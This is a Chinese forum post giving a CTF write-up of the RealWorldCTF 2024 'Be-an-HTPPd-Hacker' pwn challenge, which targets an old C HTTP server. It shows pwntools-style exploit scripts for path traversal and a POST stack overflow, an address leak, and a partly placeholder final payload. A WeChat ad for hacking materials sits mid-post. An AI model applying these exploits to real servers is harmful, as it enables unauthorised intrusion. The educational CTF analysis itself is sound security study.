深入解析RealWorldCTF 2024体验赛PWN方向题目

打印 上一主题 下一主题

主题 864|帖子 864|积分 2594

前言

本报告旨在对RealWorldCTF 2024体验赛中的Pwn方向题目——"Be-an-HTPPd-Hacker"进行深入解析和讲解。该题目涉及一个十一年前的项目,其基于C语言实现了HTTP协议。我们将通过对该协议进行栈溢出攻击,探索真实世界中的攻击手法,并从中学习更多有用的攻击技巧,以提升我们的安全水平。通过理解攻击原理和方法,我们能够更好地理解安全防御的重要性,并为未来的安全工作做好准备。本报告将详细介绍攻击过程,希望能为读者提供深入而有价值的学习体验。
搜索字符串,github找源码

从IDA中,shift+F12提取,得到字符串,在github进行搜索能够得到源码在这:
https://github.com/bnlf/httpd/blob/943cb06a09eb553096956b2e394b8366124e0aac/src/httpd.c
具体构造

构造的代码如下,也就是方法 地址 加协议:
  1. method, uri, vProtocol
复制代码
如 POST www.baidu.com xxx
源码如下:
  1. request parseRequest(char buffer[]) {
  2.     char *ptr = buffer;
  3.     char method[MAXLINE], uri[MAXLINE], vProtocol[MAXLINE];
  4.     request req;
  5.    
  6.     sscanf(ptr, "%s %s %s", method, uri, vProtocol);
  7.     // Somente GET ou POST
  8.     if(strcasecmp(method, "GET") == 0)
  9.        req.method = "GET";
  10.     else if (strcasecmp(method, "POST") == 0)
  11.        req.method = "POST";
  12.    else {
  13.        req.method = "INVALID";
  14.         req.vProtocol = "INVALID";
  15.         req.uri[0] = '\0';
  16.         return req;
  17.    }
  18.    // Sera testado futuramente. Por enquanto aceita que é um uri valido
  19.    req.uri = uri;
  20.    
  21.    if(strcasecmp(vProtocol, "HTTP/1.0") == 0)
  22.         req.vProtocol = "HTTP/1.0";
  23.     else if (strcasecmp(vProtocol, "HTTP/1.1") == 0)
  24.         req.vProtocol = "HTTP/1.1";
  25.    else
  26.        req.vProtocol = "HTTP/1.1"; // se nao especificado
  27.     return req;
  28. }
复制代码
GET路径穿越

其中get请求,经过简单尝试和逆向发现存在路径穿越,其直接对WWW进行拼接读取。
  1.     else if (res.status == 200 ) // Ok
  2.     {
  3.         return sendFile(req, res,connfd);
  4.     }
复制代码
阅读源码发现如上。
路径穿越漏洞(Path Traversal Vulnerability)是一种常见的安全漏洞,通常发生在Web应用程序或文件系统中。它允许攻击者访问他们没有权限访问的文件或目录,通过修改文件路径来绕过应用程序的访问控制机制。
不过flag没有可读权限,只能通过readflag来执行。
  1. from evilblade import *
  2. context(os='linux', arch='amd64')
  3. # context(os='linux', arch='amd64', log_level='debug')
  4. #GET /index.html HTTP/1.1
  5. setup('./pwn')
  6. libset('./libc.so.6')
  7. rsetup('127.0.0.1',33333)
  8. # rsetup('121.40.246.203',30594)
  9. # pause()
  10. payload = 'GET ' + '/img/../../../etc/profile  HTTP/1.0\x00'
  11. # payload = b'POST /form-example.html/../img/../../../add HTTP/1.1\r\n'
  12. pause()
  13. sl(payload)
  14. ia()
复制代码
这是路径穿越读/etc/profile。
[img=720,478.40984382394697]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202402211320632.png[/img]
POST栈溢出

其实不是源码也分析的差不多了,就是不太理解这个&=的分割,还有会存在一个奇怪的堆溢出,堆溢出主要是因为malloc大小引起的,在计算
  1.    char *line = (char*) malloc(end-start);
复制代码
中,end出现小于start的情况。我们可以输入多个\n来使得heap足够大,避免溢出的情况。
代码可以看到:
  1. int sendPostMessage(request req, response res, int connfd, char *linePost){
  2.     char buffer[MAXLINE];
  3.    
  4.     //Prepara cabecalho HTML
  5.     sprintf(buffer, "<html><head><title>Submitted Form</title></head>");
  6.    
  7.     //Cria body
  8.     strcat(buffer, "<body><h1>Received variables</h1><br><table>");
  9.     strcat(buffer, "<tr><th>Variables</th><th>Values</th></tr>");
  10.    
  11.     char * pch;
  12.     char temp[250];
  13.     pch = strtok (linePost,"&=");
  14.     while (pch != NULL)
  15.     {
  16.         sprintf(temp, "<tr><td>%s</td>", pch);
  17.         strcat(buffer, temp);
  18.         pch = strtok (NULL, "&=");
  19.         sprintf(temp, "<td>%s</td></tr>", pch);
  20.         strcat(buffer, temp);
  21.         pch = strtok (NULL, "&=");
  22.     }
  23.     //Fecha body e html
  24.     strcat(buffer, "</table></body></html>");
  25.     sendHeader(connfd, req, res, "OK", "text/html");
  26.     write(connfd, buffer, strlen(buffer));
  27.     return 0;
  28. }
复制代码
也就是会根据&或者=分割之后,进行连接到temp。
【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
其中linepost如下:
  1. void httpd(int connfd) {
  2.                    
  3.     char buffer[MAXLINE]; // Buffer dos dados de input
  4.     char fileBuffer[MAXLINE];
  5.     request req; // Pedido do cliente
  6.     response res; // Resposta do servidor
  7.     struct stat st;
  8.     int n;
  9.     int sizeContent = -1;
  10.     // Le o que está vindo no socket
  11.     n=read(connfd, buffer, MAXLINE);
  12.    
  13.     int i = strlen(buffer);
  14.     char options[MAXLINE];
  15.     int statusRead = 0;
  16.     strcpy(options, buffer);
  17.     while(statusRead == 0)
  18.     {
  19.         if((options[i-3] == '\n' && options[i-1] == '\n') || options[i-1] != '\n')
  20.         {
  21.             statusRead = 1;
  22.         }
  23.         else
  24.         {
  25.             n=read(connfd, options, MAXLINE);
  26.             //strcat(buffer, options);
  27.             //printf("%s\n", buffer);
  28.             i = strlen(options);
  29.             if(options[0] == '\r' && options[1] == '\n' && n == 2)
  30.                 statusRead = 1;
  31.         }
  32.     }
  33.     // Faz o parse da requisicao
  34.     req = parseRequest(buffer);
  35.     char *linePost;
  36.     //Encontra no buffer o tamanho do conteudo  
  37.     if(strcmp(req.method, "POST") ==0)
  38.     {
  39.         linePost = getLastLineRead(buffer);
  40.     }   
  41. //……
复制代码
  1. char *getLastLineRead(char *buffer) {
  2.    int numLines = 0;
  3.    int start = 0;
  4.    int end = 0;
  5.    int bufSize = strlen(buffer);
  6.    
  7.    int i = 0;
  8.    int j = 0;
  9.    for (i=0;i<bufSize;i++) {
  10.        if (buffer[i]=='\n') {
  11.            numLines++;
  12.        }
  13.    }
  14.    int *vetPositionLine = (int*) malloc(numLines);
  15.  
  16.    for (i=0;i<bufSize;i++) {
  17.        if (buffer[i]=='\n') {
  18.            vetPositionLine[j] = i;//出现回车的地方
  19.            j++;            
  20.        }
  21.    }
  22.    start = vetPositionLine[numLines-3];
  23.    end = vetPositionLine[numLines-1];  
  24.    
  25.    char *line = (char*) malloc(end-start);
  26.    strncpy(line,buffer+end,bufSize-end);
  27.    return line;
  28. }
复制代码
构造ROP

从这个部分可以发现,会将原本的内容根据&=分割,然后加上[tr][td]之类的字符串,使得字符串长度变大,会导致栈溢出。那么我们根据前面得到的基地址,和这个部分漏洞进行ROP构造,从而getshell。
  1. from evilblade import *
  2. context(os='linux', arch='amd64')
  3. setup('./pwn')
  4. libset('./libc.so.6')
  5. rsetup('127.0.0.1',33333)
  6. payload = b'POST '+ b'A'*3982 + b'\n'
  7. pause()
  8. sl(payload)
  9. ia()
复制代码
做以下构造,经过多次尝试终于得到了控制返回地址为xxxx:
  1. from evilblade import *
  2. context(os='linux', arch='amd64')
  3. setup('./pwn')
  4. libset('./libc.so.6')
  5. rsetup('127.0.0.1',33333)
  6. payload = b'POST '+ b'A'*3982 + b'\n'
  7. sl(payload)
  8. ru("Values</th></tr><tr><td>")
  9. stack = u32(rv(4))
  10. dx(stack)
  11. ld = u32(rv(4))-0xc0c
  12. dx(ld)
  13. libc = u32(rv(4))-2324400
  14. dx(libc)
  15. ia()
复制代码
其中xxxx为任意地址,可以返回!
[img=720,508.92857142857144]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202402211320638.png[/img]
由于 sprintf的原因,不能输入\x00和\n之类的作为rop,我这里采取加减法的方式进行绕过,先输入不包含0和0a的字符,后续根据加减恢复到我们需要的字符。
搜索有:
  1. ---------------
  2. your stack is >>> 0xff9c9f0a
  3. ---------------
  4. ---------------
  5. your ld is >>> 0xedf40000
  6. ---------------
  7. ---------------
  8. your libc is >>> 0xedcca000
  9. ---------------
复制代码
那么我们用以上作为差值计算,其中0x11111111+0xeeeeeeef相加等于0。
构造的ROP如下:
  1.     char * pch;
  2.     char temp[250];
  3.     pch = strtok (linePost,"&=");
  4. while (pch != NULL)
  5. {
  6.     sprintf(temp, "<tr><td>%s</td>", pch);
  7.     strcat(buffer, temp);
  8.     pch = strtok (NULL, "&=");
  9.     sprintf(temp, "<td>%s</td></tr>", pch);
  10.     strcat(buffer, temp);
  11.     pch = strtok (NULL, "&=");
  12. }
复制代码
完整exp如下:
  1. from evilblade import *
  2. context(os='linux', arch='amd64')
  3. setup('./pwn')
  4. libset('./libc.so.6')
  5. rsetup('127.0.0.1',33333)
  6. payload = b'POST '+ b'A='*1850
  7. #test= cyclic(0x700).decode()
  8. #modified_test = ''.join(['=' if (i) % 5 == 0 else test[i] for i in range(len(test))])
  9. #d(modified_test)
  10. payload = b'POST / A\n'+ b"A"*2400 + b"\n"
  11. payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"
  12. payload += b"=" + p32(0xeb029050)*10+ b"xxxx" + b"="
  13. d(payload)
  14. dpx('len',len(payload))
  15. pause()
  16. sd(payload)
复制代码
攻击结果:
[img=720,1188.3652762119505]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202402211320639.png[/img]
更多网安技能的在线实操练习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

用多少眼泪才能让你相信

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表